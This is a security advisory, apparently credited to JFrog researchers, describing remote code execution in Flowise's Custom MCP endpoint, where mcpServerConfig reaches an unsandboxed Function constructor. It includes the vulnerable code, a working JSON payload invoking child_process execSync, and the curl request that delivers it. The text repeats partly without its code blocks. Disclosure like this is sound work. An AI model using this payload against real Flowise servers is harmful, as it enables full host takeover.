Summary
User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.
Details
When creating a new Custom MCP
Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:
{
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}
Behind the scene, a POST
request to /api/v1/node-load-method/customMCP
is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):
{
...SNIP...
"inputs":{
"mcpServerConfig":{
"command":"npx",
"args":[
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/allowed/files"
]
}
},
"loadMethod":"listActions"
...SNIP...
}
Sending the same request with the parameter mcpServerConfig
equals to a plain value and not an object, for example:
{
"inputs":{
"mcpServerConfig":"test"
},
"loadMethod":"listActions"
}
We enter an interesting code flow that leads to a function named convertValidJSONString
(Line 103):
|
const serverParamsString = convertToValidJSONString(mcpServerConfig) |
async getTools(nodeData: INodeData): Promise<Tool[]> {
const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string
if (!mcpServerConfig) {
throw new Error('MCP Server Config is required')
}
try {
let serverParams
if (typeof mcpServerConfig === 'object') {
serverParams = mcpServerConfig
} else if (typeof mcpServerConfig === 'string') {
const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
serverParams = JSON.parse(serverParamsString)
}
const toolkit = new MCPToolkit(serverParams, 'stdio')
await toolkit.initialize()
const tools = toolkit.tools ?? []
return tools as Tool[]
} catch (error) {
throw new Error(`Invalid MCP Server Config: ${error}`)
}
}
}
Here, the value of inputString
originating from mcpServerConfig
is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval
:
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}
This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm
like other code execution functionalities within the platform.
This enables access to the global process
object and as a result access to all the native NodeJS modules available such as child_process
, leading to Remote Code Execution.
{
"inputs":{
"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
},
"loadMethod":"listActions"
}
PoC
-
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx
, pnpm
, etc):
https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
-
Create a new file named payload.json
somewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
- Send the following
curl
request using the payload.json
file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
- Observe that a new file named
yofitofi
is created under /tmp
folder.
Impact
Remote code execution
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
Summary
User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.
Details
When creating a new
Custom MCP
Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:Behind the scene, a
POST
request to/api/v1/node-load-method/customMCP
is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):Sending the same request with the parameter
mcpServerConfig
equals to a plain value and not an object, for example:We enter an interesting code flow that leads to a function named
convertValidJSONString
(Line 103):Flowise/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts
Line 103 in 416e573
Here, the value of
inputString
originating frommcpServerConfig
is being concatenated to a dynamic Function constructor that evaluates the provided value similar to usingeval
:This JS code runs in the context of the host, not sandboxed using
@flowiseai/nodevm
like other code execution functionalities within the platform.This enables access to the global
process
object and as a result access to all the native NodeJS modules available such aschild_process
, leading to Remote Code Execution.PoC
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx
,pnpm
, etc):https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
Create a new file named
payload.json
somewhere in your machine, with the following data:curl
request using thepayload.json
file created above with the following command:yofitofi
is created under/tmp
folder.Impact
Remote code execution
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.